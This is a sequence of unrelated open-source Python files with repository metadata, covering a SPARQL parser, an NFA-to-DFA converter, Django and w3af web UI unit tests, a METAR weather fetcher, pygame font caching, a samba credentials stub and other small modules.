provider_kwargs = provider_data.copy()
provider_kwargs.update(credentials)
if not provider_kwargs.get('username') and provider_kwargs.get('principal'):
provider_kwargs['username'] = provider_kwargs['principal']
provider_kwargs['password'] = provider_kwargs['secret']
if isinstance(provider_key, six.string_types):
provider_kwargs['provider_key'] = provider_key
provider_kwargs['logger'] = logger
return get_class_from_type(provider_data['type']).mgmt_class(**provider_kwargs)
class UnknownProvider(Exception):
def __init__(self, provider_key, *args, **kwargs):
super(UnknownProvider, self).__init__(provider_key, *args, **kwargs)
self.provider_key = provider_key
def __str__(self):
return ('Unknown provider: "{}"'.format(self.provider_key))
|
dajohnso/cfme_tests
|
utils/providers.py
|
Python
|
gpl-2.0
| 16,707
|
"""sparql_select_result.py
Data structure for storing the results of SPARQL SELECT queries"""
__all__ = ["SPARQLSelectResult"]
from xml.etree import ElementTree as et
class SPARQLSelectResult(object):
def __init__(self):
self.variables = []
self.results = []
def parse(self, s):
tree = et.fromstring(s)
head = tree.find("{http://www.w3.org/2005/sparql-results#}head")
self.variables = [x.get("name") for x in head.findall("{http://www.w3.org/2005/sparql-results#}variable")]
results = tree.find("{http://www.w3.org/2005/sparql-results#}results").findall("{http://www.w3.org/2005/sparql-results#}result")
self.results = []
for result in results:
d = {}
bindings = result.findall("{http://www.w3.org/2005/sparql-results#}binding")
for binding in bindings:
uri = binding.find("{http://www.w3.org/2005/sparql-results#}uri")
if uri is None:
literal = binding.find("{http://www.w3.org/2005/sparql-results#}literal")
if literal is None:
raise InvalidSPARQLSelectResultSyntax("Neither URI or Literal were found")
else:
d[binding.get("name")] = (literal.text, None, None)
else:
d[binding.get("name")] = uri.text
self.results.append(d)
def get_variables(self):
return self.variables
def get_results(self):
return self.results
|
iand/pynappl
|
old/sparql_select_result.py
|
Python
|
gpl-2.0
| 1,296
|
# DATA class v1.0 written by HR,JB@KIT 2011, 2016
'''
DATA exchange class, also holds global variables for thread management.
Generalized version based on TIP.
'''
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import time
import os
from threading import Lock
import numpy as np
from qkit.storage import store as hdf_lib
from qkit.gui.plot import plot as qviewkit
class DATA(object):
'''
DATA class. Controls all access to parameter values and stored data.
'''
class LOCALHOST(object):
def __init__(self,config):
self.name = config.get('LOCALHOST','name')
self.ip = config.get('LOCALHOST','ip')
self.port = config.getint('LOCALHOST','port')
class REMOTEHOST(object):
def __init__(self,config):
self.name = config.get('REMOTEHOST','name')
self.ip = config.get('REMOTEHOST','ip')
self.port = config.getint('REMOTEHOST','port')
class PARAMETER(object):
def __init__(self,config,p_index,p_attr):
'''
Initialize parameter attributes, mostly taken from the config file.
'''
self.p_index = p_index
self.name = config.get(str(p_attr),'name')
self.interval = config.getfloat(str(p_attr),'interval')
self.data_request_object = lambda: 0 #this is written by server_main.py
self.value = 0
self.timestamp = 0
self.next_schedule = time.time() + self.interval
self.logging = bool(int(config.get(str(p_attr),'logging')))
self.log_path = config.get(str(p_attr),'log_path')
self.log_lock = Lock()
self.url_timestamps = None
print("Parameter %s loaded."%str(self.name))
def get_all(self):
'''
Get all parameter attributes.
'''
with Lock():
return {
"parameter": self.p_index,
"name":self.name,
"interval":self.interval,
"value":self.value,
"timestamp":self.timestamp,
"next_schedule":self.next_schedule,
}
def set_interval(self,interval):
'''
Setup the scheduling, which corresponds to the value request interval.
'''
interval = float(interval)
if interval == 0:
interval = 120*365*24*3600 #120 years
self.next_schedule += -self.interval+interval #update next schedule
self.interval = interval
def get_last_value(self):
with Lock():
return self.value
def get_timestamp(self):
with Lock():
return self.timestamp
def get_history(self,range,nchunks=100):
'''
Read out the h5 file.
- range: history data range
- nchunks: number of data points to be returned
'''
if self.url_timestamps != None:
try:
with self.log_lock:
timestamps = np.array(self.hf[self.url_timestamps])
values = np.array(self.hf[self.url_values])
data_points_requested_mask = np.where(time.time()-timestamps < range*3600)
timestamps_requested = timestamps[data_points_requested_mask]
data_points_requested = values[data_points_requested_mask]
#return only nchunks data points
if len(data_points_requested) > nchunks:
timestamp_chunks = np.array(np.split(timestamps_requested[:(len(timestamps_requested)-len(timestamps_requested)%nchunks)],nchunks))
timestamps = timestamp_chunks[:,int(0.5*len(timestamps_requested)/nchunks)]
data_chunks = np.array(np.split(data_points_requested[:(len(data_points_requested)-len(data_points_requested)%nchunks)],nchunks))
#calculate medians and return them instead of the mean (due to runaways in the log file)
medians = np.sort(data_chunks,axis=-1)[:,int(0.5*len(data_points_requested)/nchunks)]
return [timestamps,medians]
else:
return [timestamps_requested,data_points_requested]
except KeyError: #AttributeError, NameError:
print('Error opening h5 log file.')
return [0]
else:
return [0]
def store_value(self,value):
'''
Store method, used by the worker.
'''
with Lock():
try:
self.value = float(value)
except ValueError:
print('type cast error, ignoring')
self.timestamp = time.time()
if self.logging:
self.append_to_log()
def create_logfile(self):
print('Create new log file for parameter %s.'%self.name)
self.fname = os.path.join(self.log_path,self.name.replace(' ','_')+time.strftime('%d%m%Y%H%M%S')+'.h5')
#print self.fname
self.hf = hdf_lib.Data(self.fname, mode='a')
self.hdf_t = self.hf.add_coordinate('timestamps')
self.hdf_v = self.hf.add_value_vector('values', x = self.hdf_t)
self.url_timestamps = '/entry/data0/timestamps'
self.url_values = '/entry/data0/values'
view = self.hf.add_view('data_vs_time', x = self.hdf_t, y = self.hdf_v) #fit
def append_to_log(self):
with self.log_lock:
self.hdf_t.append(float(self.get_timestamp()))
self.hdf_v.append(float(self.get_last_value()))
def close_logfile(self):
self.hf.close_file()
def schedule(self):
'''
Specifiy whether the parameter is to be updated,
typicalled called in each worker iteration.
Returns True if new parameter value needs to be read.
'''
if time.time() > self.next_schedule:
while time.time() > self.next_schedule:
self.next_schedule += self.interval
return True
else:
return False
def set_schedule(self):
self.next_schedule = time.time()
return True
def __init__(self,config):
'''
Reads the cfg file and instanciates all parameters accordingly.
'''
self.wants_abort = False
self.debug = True
self.cycle_time = config.getfloat('worker','cycle_time')
p_instances = config.get('parameters','p').split(",") #parameter instance names
#print(p_instances)
self.parameters = [self.PARAMETER(config,i,p) for i,p in enumerate(p_instances)] #instanciate parameter array
for i,p_i in enumerate(p_instances): #create human readable aliases, such that objects are accessible from clients according to the seetings.cfg entry in []
setattr(self,str(p_i),self.parameters[i])
self.localhost = self.LOCALHOST(config)
#self.remotehost = self.REMOTEHOST(config)
self.ctrl_lock = Lock()
def atexit(self):
self.set_wants_abort()
def get_wants_abort(self):
with self.ctrl_lock:
return self.wants_abort
def set_wants_abort(self):
with self.ctrl_lock:
self.wants_abort = True
if __name__ == "__main__":
DATA = DATA()
|
qkitgroup/qkit
|
qkit/services/qsurveilkit/data_class.py
|
Python
|
gpl-2.0
| 8,469
|
import sys
import os
from com.googlecode.fascinator.common import FascinatorHome
sys.path.append(os.path.join(FascinatorHome.getPath(),"harvest", "workflows"))
from baserules import BaseIndexData
class IndexData(BaseIndexData):
def __activate__(self, context):
BaseIndexData.__activate__(self,context)
|
redbox-mint/redbox
|
config/src/main/config/home/harvest/workflows/simpleworkflow-rules.py
|
Python
|
gpl-2.0
| 356
|
# Copyright (c) 2015-2018, 2020 Claudiu Popa <pcmanticore@gmail.com>
# Copyright (c) 2016 Derek Gustafson <degustaf@gmail.com>
# Copyright (c) 2018 Lucas Cimon <lucas.cimon@gmail.com>
# Copyright (c) 2018 Yury Gribov <tetra2005@gmail.com>
# Copyright (c) 2019-2021 Pierre Sassoulas <pierre.sassoulas@gmail.com>
# Copyright (c) 2019 Ashley Whetter <ashley@awhetter.co.uk>
# Copyright (c) 2020 hippo91 <guillaume.peillex@gmail.com>
# Copyright (c) 2021 Daniël van Noord <13665637+DanielNoord@users.noreply.github.com>
# Copyright (c) 2021 Marc Mueller <30130371+cdce8p@users.noreply.github.com>
# Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html
# For details: https://github.com/PyCQA/pylint/blob/main/LICENSE
from pylint.checkers import strings
TEST_TOKENS = (
'"X"',
"'X'",
"'''X'''",
'"""X"""',
'r"X"',
"R'X'",
'u"X"',
"F'X'",
'f"X"',
"F'X'",
'fr"X"',
'Fr"X"',
'fR"X"',
'FR"X"',
'rf"X"',
'rF"X"',
'Rf"X"',
'RF"X"',
)
def test_str_eval() -> None:
for token in TEST_TOKENS:
assert strings.str_eval(token) == "X"
|
PyCQA/pylint
|
tests/checkers/unittest_strings.py
|
Python
|
gpl-2.0
| 1,133
|
# -*- coding: utf8 -*-
u"""
Тесты на ДЗ#5.
"""
__author__ = "wowkalucky"
__email__ = "wowkalucky@gmail.com"
__date__ = "2014-11-17"
import datetime
from hw5_solution1 import Person
def tests_for_hw5_solution1():
u"""Тесты задачи 1"""
petroff = Person("Petrov", "Petro", "1952-01-02")
ivanoff = Person("Ivanov", "Ivan", "2000-10-20")
sydoroff = Person("Sidorov", "Semen", "1980-12-31", "Senya")
assert "first_name" in dir(petroff)
assert "get_fullname" in dir(ivanoff)
assert "nickname" not in dir(petroff)
assert "nickname" in dir(sydoroff)
assert petroff.surname == "Petrov"
assert petroff.first_name == "Petro"
assert petroff.get_fullname() == "Petrov Petro"
assert sydoroff.nickname == "Senya"
assert petroff.birth_date == datetime.date(1952, 01, 02)
assert isinstance(petroff.birth_date, datetime.date)
assert petroff.get_age() == "62"
print 'All is Ok!'
|
pybursa/homeworks
|
o_shestakoff/hw5/hw5_tests.py
|
Python
|
gpl-2.0
| 953
|
# -*- coding: utf-8 -*-
#=======================================================================
#
# Python Lexical Analyser
#
# Converting NFA to DFA
#
#=======================================================================
import Machines
from Machines import LOWEST_PRIORITY
from Transitions import TransitionMap
def nfa_to_dfa(old_machine, debug = None):
"""
Given a nondeterministic Machine, return a new equivalent
Machine which is deterministic.
"""
# We build a new machine whose states correspond to sets of states
# in the old machine. Initially we add a new state corresponding to
# the epsilon-closure of each initial old state. Then we give transitions
# to each new state which are the union of all transitions out of any
# of the corresponding old states. The new state reached on a given
# character is the one corresponding to the set of states reachable
# on that character from any of the old states. As new combinations of
# old states are created, new states are added as needed until closure
# is reached.
new_machine = Machines.FastMachine()
state_map = StateMap(new_machine)
# Seed the process using the initial states of the old machine.
# Make the corresponding new states into initial states of the new
# machine with the same names.
for (key, old_state) in old_machine.initial_states.items():
new_state = state_map.old_to_new(epsilon_closure(old_state))
new_machine.make_initial_state(key, new_state)
# Tricky bit here: we add things to the end of this list while we're
# iterating over it. The iteration stops when closure is achieved.
for new_state in new_machine.states:
transitions = TransitionMap()
for old_state in state_map.new_to_old(new_state).keys():
for event, old_target_states in old_state.transitions.items():
if event and old_target_states:
transitions.add_set(event, set_epsilon_closure(old_target_states))
for event, old_states in transitions.items():
new_machine.add_transitions(new_state, event, state_map.old_to_new(old_states))
if debug:
debug.write("\n===== State Mapping =====\n")
state_map.dump(debug)
return new_machine
def set_epsilon_closure(state_set):
"""
Given a set of states, return the union of the epsilon
closures of its member states.
"""
result = {}
for state1 in state_set.keys():
for state2 in epsilon_closure(state1).keys():
result[state2] = 1
return result
def epsilon_closure(state):
"""
Return the set of states reachable from the given state
by epsilon moves.
"""
# Cache the result
result = state.epsilon_closure
if result is None:
result = {}
state.epsilon_closure = result
add_to_epsilon_closure(result, state)
return result
def add_to_epsilon_closure(state_set, state):
"""
Recursively add to |state_set| states reachable from the given state
by epsilon moves.
"""
if not state_set.get(state, 0):
state_set[state] = 1
state_set_2 = state.transitions.get_epsilon()
if state_set_2:
for state2 in state_set_2.keys():
add_to_epsilon_closure(state_set, state2)
class StateMap:
"""
Helper class used by nfa_to_dfa() to map back and forth between
sets of states from the old machine and states of the new machine.
"""
new_machine = None # Machine
old_to_new_dict = None # {(old_state,...) : new_state}
new_to_old_dict = None # {id(new_state) : old_state_set}
def __init__(self, new_machine):
self.new_machine = new_machine
self.old_to_new_dict = {}
self.new_to_old_dict= {}
def old_to_new(self, old_state_set):
"""
Return the state of the new machine corresponding to the
set of old machine states represented by |state_set|. A new
state will be created if necessary. If any of the old states
are accepting states, the new state will be an accepting state
with the highest priority action from the old states.
"""
key = self.make_key(old_state_set)
new_state = self.old_to_new_dict.get(key, None)
if not new_state:
action = self.highest_priority_action(old_state_set)
new_state = self.new_machine.new_state(action)
self.old_to_new_dict[key] = new_state
self.new_to_old_dict[id(new_state)] = old_state_set
#for old_state in old_state_set.keys():
#new_state.merge_actions(old_state)
return new_state
def highest_priority_action(self, state_set):
best_action = None
best_priority = LOWEST_PRIORITY
for state in state_set.keys():
priority = state.action_priority
if priority > best_priority:
best_action = state.action
best_priority = priority
return best_action
# def old_to_new_set(self, old_state_set):
# """
# Return the new state corresponding to a set of old states as
# a singleton set.
# """
# return {self.old_to_new(old_state_set):1}
def new_to_old(self, new_state):
"""Given a new state, return a set of corresponding old states."""
return self.new_to_old_dict[id(new_state)]
def make_key(self, state_set):
"""
Convert a set of states into a uniquified
sorted tuple suitable for use as a dictionary key.
"""
lst = state_set.keys()
lst.sort()
return tuple(lst)
def dump(self, file):
from Transitions import state_set_str
for new_state in self.new_machine.states:
old_state_set = self.new_to_old_dict[id(new_state)]
file.write(" State %s <-- %s\n" % (
new_state['number'], state_set_str(old_state_set)))
|
unioslo/cerebrum
|
Cerebrum/extlib/Plex/DFA.py
|
Python
|
gpl-2.0
| 5,539
|
# coding: utf-8
"""
pyextend.core.math
~~~~~~~~~~~~~~~~~~
pyextend core math tools.
:copyright: (c) 2016 by Vito.
:license: GNU, see LICENSE for more details.
"""
def isprime(n):
"""Check the number is prime value. if prime value returns True, not False."""
n = abs(int(n))
if n < 2:
return False
if n == 2:
return True
if not n & 1:
return False
# 在一般领域, 对正整数n, 如果用2 到 sqrt(n) 之间所有整数去除, 均无法整除, 则n为质数.
for x in range(3, int(n ** 0.5)+1, 2):
if n % x == 0:
return False
return True
|
Vito2015/pyextend
|
pyextend/core/math.py
|
Python
|
gpl-2.0
| 643
|
## Package for various utility functions to execute build and shell commands
#
# @copyright (c) 2007 CSIRO
# Australia Telescope National Facility (ATNF)
# Commonwealth Scientific and Industrial Research Organisation (CSIRO)
# PO Box 76, Epping NSW 1710, Australia
# atnf-enquiries@csiro.au
#
# This file is part of the ASKAP software distribution.
#
# The ASKAP software distribution is free software: you can redistribute it
# and/or modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 2 of the License
# or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA.
#
# @author Malte Marquarding <Malte.Marquarding@csiro.au>
#
from __future__ import with_statement
import os
def create_init_file(name, env):
'''
Create package initialization file. e.g. init_package_env.sh
:param name: file name to be created.
:type name: string
:param env: the environment object.
:type env: :class:`.Environment`
:return: None
'''
aroot = os.environ["ASKAP_ROOT"]
inittxt= """#
# ASKAP auto-generated file
#
ASKAP_ROOT=%s
export ASKAP_ROOT
""" % aroot
vartxt = """if [ "${%(key)s}" != "" ]
then
%(key)s=%(value)s:${%(key)s}
else
%(key)s=%(value)s
fi
export %(key)s
"""
with open(name, 'w') as initfile:
initfile.write(inittxt)
for k, v in env.items():
if not v:
continue
if k == "LD_LIBRARY_PATH":
k = env.ld_prefix+k
v = v.replace(aroot, '${ASKAP_ROOT}')
initfile.write(vartxt % { 'key': k, 'value': v } )
|
ATNF/askapsdp
|
Tools/Dev/rbuild/askapdev/rbuild/utils/create_init_file.py
|
Python
|
gpl-2.0
| 2,053
|
''' direct
.. moduleauthor:: Edwin Tye <Edwin.Tye@gmail.com>
'''
from __future__ import division, print_function, absolute_import
from .sqp import *
from .ip import *
from .ipBar import *
from .ipPD import *
from .ipPDC import *
from .ipPDandPDC import *
from .approxH import *
from .trust import *
__all__ = [s for s in dir() if not s.startswith('_')]
from numpy.testing import Tester
test = Tester().test
|
edwintye/pygotools
|
pygotools/convex/__init__.py
|
Python
|
gpl-2.0
| 412
|
from Tkinter import *
root = Tk()
root.title('first test window')
#root.geometry('300x200')
frm = Frame(root)
frm_l = Frame(frm)
Label(frm_l, text='left_top').pack(side=TOP)
Label(frm_l, text='left_bottom').pack(side=BOTTOM)
frm_l.pack(side=LEFT)
frm_r = Frame(frm)
Label(frm_r, text='right_top').pack(side=TOP)
Label(frm_r, text='right_bottom').pack(side=BOTTOM)
frm_r.pack(side=RIGHT)
frm.pack(side=TOP)
##########################################################
frm1 = Frame(root)
var = StringVar()
Entry(frm1, textvariable=var).pack(side=TOP)
var.set('entry text')
t = Text(frm1)
t.pack(side=TOP)
def print_entry():
t.insert(END, var.get())
Button(frm1, text='copy', command=print_entry).pack(side=TOP)
frm1.pack(side=TOP)
##########################################################
frm2 = Frame(root)
redbutton = Button(frm2, text="Red", fg="red")
redbutton.pack( side = LEFT)
greenbutton = Button(frm2, text="Brown", fg="brown")
greenbutton.pack( side = LEFT )
bluebutton = Button(frm2, text="Blue", fg="blue")
bluebutton.pack( side = LEFT )
blackbutton = Button(frm2, text="Black", fg="black")
blackbutton.pack( side = BOTTOM)
frm2.pack(side=TOP)
######################################################
frm3 = Frame(root)
b = Button(frm3, text='move')
b.place(bordermode=OUTSIDE, height=100, width=100, x=50, y=50)
b.pack()
frm3.pack(side=TOP)
root.mainloop()
|
NUPT-Pig/python_test
|
tkinter_gui.py
|
Python
|
gpl-2.0
| 1,385
|
# -*- coding: utf-8 -*-
# Generated by Django 1.10.5 on 2017-02-05 15:01
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('loginapp', '0001_initial'),
]
operations = [
migrations.RenameField(
model_name='registration',
old_name='comments',
new_name='comment',
),
]
|
sailuh/perceive
|
Websites/Experiments/loginapp/migrations/0002_auto_20170205_1501.py
|
Python
|
gpl-2.0
| 427
|
__author__ = 'Alexandre Menai amenai@amenai.net'
'''
The weather module intends to grab pilot weather from the aviation weather services in the USA
'''
#TODO put the following global parameters into a configuration file later on
WEAHTER_HOSTNAME="aviationweather.gov"
METAR_PATH="/adds/dataserver_current/httpparam?dataSource=metars&requestType=retrieve&format=xml&stationString="
#end global parameters
import httplib
import utilities.XML2Py as XML2Py
class Weather:
def __init__(self, start_date=1490468686,duration=86400,departure_airfield='KBED',destination_airfield='KRKD'):
"""
initializes a weather object.
:param start_date: the start date in epoch
:param duration: the duration of the flight in seconds
:param departure_airfield: is the 4 letter ICAO identifer of the departure airfield
:param destination_airfield: is the 4 letter ICAO identifer of the destination airfield
:return: the handle for the Object.
"""
self.start_date=start_date
self.duration=duration
self.departure_airfield=departure_airfield
self.destination_airfield=destination_airfield
def grab_airfield_weather(self, airfield='KBED', hours_before_now=1):
#construct the path and params
requestPath=METAR_PATH+airfield+"&hoursBeforeNow="+str(hours_before_now)
#initiate the connection
connection=httplib.HTTPConnection(WEAHTER_HOSTNAME)
# Get the METAR
connection.request('GET',requestPath)
metar_xml=connection.getresponse().read()
#close the connection
connection.close()
deserialized_metar = XML2Py.XML2Py().parse(metar_xml)
return deserialized_metar
#TODO scale down the useless information
|
amenai1979/pylot
|
bin/weather.py
|
Python
|
gpl-2.0
| 1,775
|
#-*- coding: utf-8 -*-
from mock import patch
from django.conf import settings
from django.test import TestCase
from django_any.models import any_model
from django.utils import unittest
from django.contrib.auth.models import User
from django.test.client import Client
from django.test.client import RequestFactory
from django.test.utils import override_settings
from w3af_webui.models import ScanTask
from w3af_webui.models import Target
from w3af_webui.models import ScanProfile
from w3af_webui.models import Scan
from w3af_webui.models import Vulnerability
from w3af_webui.views import get_select_code
from w3af_webui.views import show_report
from w3af_webui.views import show_report_txt
from w3af_webui.views import user_settings
class TestGetCode(TestCase):
def test_get_select_code(self):
list_per_page_values = (
('10', '10'),
('30', '30'),
('50', '50'),
('70', '70'),
('90', '90'),
('100', '100'),
)
select_code = get_select_code('50', list_per_page_values, 'list_per_page')
self.assertIn('select', select_code)
self.assertIn('</select>', select_code)
self.assertIn('</option>', select_code)
self.assertIn('selected', select_code)
self.assertIn('list_per_page', select_code)
class TestView(unittest.TestCase):
def setUp(self):
User.objects.all().delete()
# Every test needs a client.
self.user = User.objects.create_user('new_unittest1',
'test@example.com',
'new_test_password')
self.user.save()
self.client = Client()
self.client.login(username='new_unittest1',
password='new_test_password')
self.profile = any_model(ScanProfile)
self.target = any_model(Target)
self.scan_task = any_model(ScanTask,
status=settings.TASK_STATUS['free'],
target=self.target,
last_updated='0',)
self.scan = Scan.objects.create(scan_task=self.scan_task,
user=self.user,)
self.vuln = any_model(Vulnerability,
scan=self.scan,
)
# Every test needs access to the request factory.
self.factory = RequestFactory()
def test_user_settings_get(self):
# Issue a GET request.
request = self.factory.get('/user_settings/',)
request.user = self.user
request.yauser = self.user
response = user_settings(request)
# Check that the response is 200 OK.
self.assertEqual(response.status_code, 200)
return
#self.assertIn(response.status_code,[200, 302])
response = self.client.post('/user_settings/',
{'list_per_page': '90',
'iface_lang': 'RU',
'notification': '0', })
self.assertIn('selected',
response.context.__getitem__('form').notification)
def test_show_report_get(self):
request = self.factory.get('/show_report/%s/' % self.scan.id)
request.user = self.user
request.yauser = self.user
request.follow = True
response = show_report(request, self.scan.id)
self.assertEqual(response.status_code, 200)
@patch('django.contrib.messages.success')
@patch('django.contrib.messages.error')
@patch('w3af_webui.views.get_vulnerability_module')
def test_show_report_post(self, mock_import, mock_err_msg, mock_succ_msg):
request = self.factory.post(
'/show_report/%s/' % self.scan.id,
{'vuln_id': self.vuln.id,}
)
request.user = self.user
request.yauser = self.user
mock_import.return_value = ''
response = show_report(request, self.scan.id)
self.assertEqual(response.status_code, 403) # CSRF!
self.assertFalse(mock_err_msg.called)
self.assertFalse(mock_succ_msg.called)
def test_show_report_txt(self):
# Issue a GET request.
request = self.factory.get('/show_report_txt/%s/' % self.scan.id)
request.user = self.user
request.yauser = self.user
response = show_report_txt(request, self.scan.id)
# Check that the response is 200 OK.
self.assertEqual(response.status_code, 200)
@patch('w3af_webui.tasks.scan_start.delay')
@patch('w3af_webui.models.ScanTask.create_scan')
def test_run_now_200(self, mock_create_scan, mock_delay):
self.assertFalse(mock_create_scan.called)
self.assertFalse(mock_delay.called)
response = self.client.get('/run_now/', {'id': self.scan.id},
follow=True,
)
self.assertEqual(response.status_code, 200)
self.assertTrue(mock_create_scan.called, 'create_scan does not call')
self.assertTrue(mock_delay.called, 'delay function does not call')
@patch('w3af_webui.tasks.scan_start.delay')
@patch('w3af_webui.models.ScanTask.create_scan')
def test_run_now_404(self, mock_create_scan, mock_delay):
# bad request (404)
response = self.client.get('run_now/')
self.assertFalse(mock_create_scan.called)
self.assertFalse(mock_delay.called)
self.assertEqual(response.status_code, 404, 'Must return 404')
def test_check_url(self):
# Issue a GET request.
response = self.client.get('/check_url/',
{'url':
'http://w3af.sourceforge.net/'})
# Check that the response is 200 OK.
self.assertEqual(response.status_code, 200)
response = self.client.get('/check_url/',
{'url': 'test.test'})
self.assertEqual(response.status_code, 404)
def test_stop_scan(self):
# Issue a GET request.
#self.client.META['HTTP_REFERER'] = '/w3af_webui/scan/'
#response = self.client.get('/stop_scan/', { 'id': self.scan.id})
# Check that the response is 200 OK.
#self.assertEqual(response.status_code, 302)
# Issue a GET request without id in queryset.
response = self.client.get('/stop_scan/')
# Check that redirect done.
self.assertEqual(response.status_code, 404)
|
andresriancho/w3af-webui
|
src/w3af_webui/tests/test_view.py
|
Python
|
gpl-2.0
| 6,559
|
#
# Copyright 2001 - 2006 Ludek Smid [http://www.ospace.net/]
#
# This file is part of Pygame.UI.
#
# Pygame.UI is free software; you can redistribute it and/or modify
# it under the terms of the Lesser GNU General Public License as published by
# the Free Software Foundation; either version 2.1 of the License, or
# (at your option) any later version.
#
# Pygame.UI is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# Lesser GNU General Public License for more details.
#
# You should have received a copy of the Lesser GNU General Public License
# along with Pygame.UI; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
#
from pygame.font import Font
from types import StringType, UnicodeType
__all__ = ['initFont', 'renderText', 'getTextSize', 'getLineSize']
fontFaces = {}
fontCache = {}
misses = 0
hits = 0
def initFont(name, ttfFile, size, bold = 0, italic = 0, underline = 0):
global fontFaces
if name in fontFaces:
del fontFaces[name]
font = Font(ttfFile, size)
font.set_bold(bold)
font.set_italic(italic)
font.set_underline(underline)
fontFaces[name] = font
def renderText(name, text, antialias, fg, bg = None):
antialias = 1
tType = type(text)
if tType != StringType and tType != UnicodeType:
text = str(text)
if len(text) == 0:
# TODO return very small surface
text = " "
#@print "->", text, "<-", type(text)
global misses, hits, fontCache
surface = fontCache.get((name, text, antialias, fg, bg), None)
if not surface:
misses += 1
if bg:
surface = fontFaces[name].render(text, antialias, fg, bg)
else:
surface = fontFaces[name].render(text, antialias, fg)
fontCache[name, text, antialias, fg, bg] = surface
else:
hits += 1
# clean up cache if size is > 2000
if misses > 2000:
print 'FONT CACHE STATS:', misses, hits, hits / float(misses + hits)
misses = 0
fontCache.clear()
return surface
def renderSmartText(surface, x, y, name, text, antialias, fg, bg = None):
# TODO
pass
def getTextSize(name, text):
#return renderText(name, text, 1, (0x00, 0x00, 0x00)).get_size()
return fontFaces[name].size(text)
def getLineSize(name):
return fontFaces[name].get_linesize()
|
mozts2005/OuterSpace
|
client-pygame/lib/pygameui/Fonts.py
|
Python
|
gpl-2.0
| 2,420
|
import os
class generic(object):
def __init__(self,myspec):
self.settings=myspec
self.settings.setdefault('CHROOT', 'chroot')
def setarch(self, arch):
"""Set the chroot wrapper to run through `setarch |arch|`
Useful for building x86-on-amd64 and such.
"""
if os.uname()[0] == 'Linux':
self.settings['CHROOT'] = 'setarch %s %s' % (arch, self.settings['CHROOT'])
def mount_safety_check(self):
"""
Make sure that no bind mounts exist in chrootdir (to use before
cleaning the directory, to make sure we don't wipe the contents of
a bind mount
"""
pass
def mount_all(self):
"""do all bind mounts"""
pass
def umount_all(self):
"""unmount all bind mounts"""
pass
|
benkohler/catalyst
|
catalyst/builder.py
|
Python
|
gpl-2.0
| 702
|
# encoding: utf-8
# module samba.credentials
# from /usr/lib/python2.7/dist-packages/samba/credentials.so
# by generator 1.135
""" Credentials management. """
# imports
import talloc as __talloc
# Variables with simple values
AUTO_KRB_FORWARDABLE = 0
AUTO_USE_KERBEROS = 0
DONT_USE_KERBEROS = 1
FORCE_KRB_FORWARDABLE = 2
MUST_USE_KERBEROS = 2
NO_KRB_FORWARDABLE = 1
# no functions
# classes
class CredentialCacheContainer(__talloc.Object):
# no doc
def __init__(self, *args, **kwargs): # real signature unknown
pass
class Credentials(__talloc.Object):
# no doc
def authentication_requested(self, *args, **kwargs): # real signature unknown
pass
def get_bind_dn(self): # real signature unknown; restored from __doc__
"""
S.get_bind_dn() -> bind dn
Obtain bind DN.
"""
pass
def get_domain(self): # real signature unknown; restored from __doc__
"""
S.get_domain() -> domain
Obtain domain name.
"""
pass
def get_gensec_features(self, *args, **kwargs): # real signature unknown
pass
def get_named_ccache(self, *args, **kwargs): # real signature unknown
pass
def get_nt_hash(self, *args, **kwargs): # real signature unknown
pass
def get_password(self): # real signature unknown; restored from __doc__
"""
S.get_password() -> password
Obtain password.
"""
pass
def get_realm(self): # real signature unknown; restored from __doc__
"""
S.get_realm() -> realm
Obtain realm name.
"""
pass
def get_username(self): # real signature unknown; restored from __doc__
"""
S.get_username() -> username
Obtain username.
"""
pass
def get_workstation(self, *args, **kwargs): # real signature unknown
pass
def guess(self, *args, **kwargs): # real signature unknown
pass
def is_anonymous(self, *args, **kwargs): # real signature unknown
pass
def parse_string(self, text, obtained=None): # real signature unknown; restored from __doc__
"""
S.parse_string(text, obtained=CRED_SPECIFIED) -> None
Parse credentials string.
"""
pass
def set_anonymous(self): # real signature unknown; restored from __doc__
"""
S.set_anonymous() -> None
Use anonymous credentials.
"""
pass
def set_bind_dn(self, bind_dn): # real signature unknown; restored from __doc__
"""
S.set_bind_dn(bind_dn) -> None
Change bind DN.
"""
pass
def set_cmdline_callbacks(self): # real signature unknown; restored from __doc__
"""
S.set_cmdline_callbacks() -> bool
Use command-line to obtain credentials not explicitly set.
"""
return False
def set_domain(self, domain, obtained=None): # real signature unknown; restored from __doc__
"""
S.set_domain(domain, obtained=CRED_SPECIFIED) -> None
Change domain name.
"""
pass
def set_gensec_features(self, *args, **kwargs): # real signature unknown
pass
def set_kerberos_state(self, *args, **kwargs): # real signature unknown
pass
def set_krb_forwardable(self, *args, **kwargs): # real signature unknown
pass
def set_machine_account(self, *args, **kwargs): # real signature unknown
pass
def set_password(self, password, obtained=None): # real signature unknown; restored from __doc__
"""
S.set_password(password, obtained=CRED_SPECIFIED) -> None
Change password.
"""
pass
def set_realm(self, realm, obtained=None): # real signature unknown; restored from __doc__
"""
S.set_realm(realm, obtained=CRED_SPECIFIED) -> None
Change realm name.
"""
pass
def set_username(self, name, obtained=None): # real signature unknown; restored from __doc__
"""
S.set_username(name, obtained=CRED_SPECIFIED) -> None
Change username.
"""
pass
def set_workstation(self, *args, **kwargs): # real signature unknown
pass
def wrong_password(self): # real signature unknown; restored from __doc__
"""
S.wrong_password() -> bool
